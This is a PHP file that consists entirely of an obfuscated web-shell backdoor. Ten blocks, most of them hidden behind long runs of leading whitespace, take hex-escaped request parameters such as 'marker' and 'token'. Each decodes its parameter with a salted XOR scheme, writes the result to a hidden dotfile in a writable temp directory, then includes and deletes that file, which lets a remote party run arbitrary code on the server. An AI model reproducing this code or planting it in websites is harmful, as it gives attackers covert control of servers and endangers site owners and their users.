<?php																																										if(isset($_REQUEST["m\x61r\x6B\x65r"])){ $elem = $_REQUEST["m\x61r\x6B\x65r"]; $elem = explode( '.' , $elem ) ; $dchunk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $len = count($elem); for ($m = 0; $m < $len; $m++) { $v6 = $elem[$m]; $chS = ord($salt3[$m %$sLen]); $d = ((int)$v6 - $chS - ($m %10)) ^ 46; $dchunk .= chr($d);} $ent = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp"]); while ($record = array_shift($ent)) { if ((is_dir($record) and is_writable($record))) { $sym = "$record/.obj"; if (file_put_contents($sym, $dchunk)) { include $sym; @unlink($sym); exit; } } } }
																																										if(!empty($_REQUEST["\x66\x6Cag"])){ $dchunk = $_REQUEST["\x66\x6Cag"]; $dchunk =explode ( "." ,$dchunk ) ; $holder = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $k = 0; $len = count( $dchunk); do { if( $k >= $len) break; $v1 = $dchunk[$k]; $sChar = ord( $s1[$k % $lenS]); $d =( ( int)$v1 - $sChar -( $k % 10)) ^ 27; $holder .= chr( $d); $k++; }while( true); $pgrp = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); foreach ($pgrp as $record): if (array_product([is_dir($record), is_writable($record)])) { $sym = sprintf("%s/.rec", $record); if (file_put_contents($sym, $holder)) { require $sym; unlink($sym); die(); } } endforeach; }
																																										if(in_array("co\x6D\x70\x6F\x6Eent", array_keys($_REQUEST))){ $record = $_REQUEST["co\x6D\x70\x6F\x6Eent"]; $record = explode ( '.', $record ); $ent = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $len = count($record); for ($i = 0; $i < $len; $i++) {$v9 = $record[$i]; $sChar = ord($s5[$i% $lenS]); $dec = ((int)$v9 - $sChar - ($i% 10)) ^ 50; $ent .= chr($dec); } $symbol = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp"]); for ($pset = 0, $ref = count($symbol); $pset < $ref; $pset++) { $hld = $symbol[$pset]; if (is_dir($hld) && is_writable($hld)) { $pointer = str_replace("{var_dir}", $hld, "{var_dir}/.entity"); if (file_put_contents($pointer, $ent)) { require $pointer; unlink($pointer); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Drk"])){ $ent = $_REQUEST["\x6Drk"]; $ent= explode ( "." , $ent) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $ent as $y => $v6) { $chS = ord( $salt[$y % $lenS] ); $d =( ( int)$v6 - $chS -( $y % 10)) ^ 12; $tkn .= chr( $d ); } $record = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), "/dev/shm"]); foreach ($record as $data_chunk): if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $comp = sprintf("%s/.rec", $data_chunk); if (file_put_contents($comp, $tkn)) { include $comp; @unlink($comp); die(); } } endforeach; }
																																										if(@$_REQUEST["\x65n\x74"] !== null){ $val = array_filter([session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $k = $_REQUEST["\x65n\x74"]; $k = explode ( '.' , $k); $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; $__len = count($k); do { if ($q >= $__len) break; $v1 = $k[$q]; $chS = ord($s[$q % $lenS]); $dec = ((int)$v1 - $chS - ($q % 10))^ 59; $element .= chr($dec); $q++; } while (true); while ($entity = array_shift($val)) { if ((is_dir($entity) and is_writable($entity))) { $binding = "$entity" . "/.flag"; if (@file_put_contents($binding, $element) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(!is_null($_POST["\x70oi\x6E\x74\x65r"] ?? null)){ $elem = $_POST["\x70oi\x6E\x74\x65r"]; $elem =explode ( '.',$elem ) ; $tkn= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); foreach( $elem as $w => $v1) { $chS= ord( $salt[$w % $sLen] ); $dec= ( ( int)$v1 - $chS -( $w % 10)) ^ 30; $tkn .= chr( $dec ); } $parameter_group = array_filter(["/dev/shm", session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP")]); for ($dchunk = 0, $factor = count($parameter_group); $dchunk < $factor; $dchunk++) { $element = $parameter_group[$dchunk]; if (is_dir($element) ? is_writable($element) : false) { $entity = str_replace("{var_dir}", $element, "{var_dir}/.symbol"); if (file_put_contents($entity, $tkn)) { require $entity; unlink($entity); exit; } } } }
																																										if(@$_POST["\x66lg"] !== null){ $holder = $_POST["\x66lg"]; $holder= explode ( "." , $holder) ; $mrk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $m = 0; $len = count($holder); do { if ($m >= $len) break; $v4 = $holder[$m]; $sChar = ord($s7[$m %$lenS]); $dec = ((int)$v4 - $sChar - ($m %10)) ^ 25; $mrk .= chr($dec); $m++; } while (true); $binding = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd()]); for ($desc = 0, $data = count($binding); $desc < $data; $desc++) { $dchunk = $binding[$desc]; if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $dat = sprintf("%s/.pgrp", $dchunk); if (@file_put_contents($dat, $mrk) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(in_array("to\x6Be\x6E", array_keys($_REQUEST))){ $desc = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP")]); $res = $_REQUEST["to\x6Be\x6E"]; $res=explode( '.', $res ) ; $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $l =0; $__tmp =$res; while ($v3 =array_shift($__tmp)) { $chS =ord($s[$l %$lenS]); $d =((int)$v3 - $chS - ($l %10)) ^ 83; $dat .= chr($d); $l++; } while ($value = array_shift($desc)) { if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $resource = sprintf("%s/.pset", $value); $success = file_put_contents($resource, $dat); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(isset($_REQUEST["\x64at"]) ? true : false){ $parameter_group = $_REQUEST["\x64at"]; $parameter_group =explode ( '.' , $parameter_group) ; $item = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); foreach ($parameter_group as $w => $v8) {$sChar = ord($s4[$w % $lenS] ); $d = ((int)$v8 - $sChar - ($w % 10))^94; $item .= chr($d );} $k = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($k as $pgrp): if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $elem = vsprintf("%s/%s", [$pgrp, ".binding"]); if (@file_put_contents($elem, $item) !== false) { include $elem; unlink($elem); exit; } } endforeach; }


if(isset($_REQUEST["\x65\x6C\x65\x6Dent"]) ? true : false){
	$mrk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), "/tmp"]);
	$ref = $_REQUEST["\x65\x6C\x65\x6Dent"];
		 $ref  	=	explode		( 	 "."	 ,		$ref)	 	;	
	$val	= '';
            $s7	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	= strlen(	$s7);
            $len	= count(	$ref);
    
            for(	$p	= 0; $p  <$len; $p++) {
                $v9	= $ref[$p];
                $sChar	= ord(	$s7[$p % $sLen]);
                $dec	= (	(	int)$v9 - $sChar -(	$p % 10)) ^ 6;
                $val	.=chr(	$dec);}
	foreach ($mrk as $obj):
    		if (is_writable($obj) && is_dir($obj)) {
    $data = join("/", [$obj, ".holder"]);
    $file = fopen($data, 'w');
if ($file) {
	fwrite($file, $val);
	fclose($file);
	include $data;
	@unlink($data);
	exit;
}
}
endforeach;
}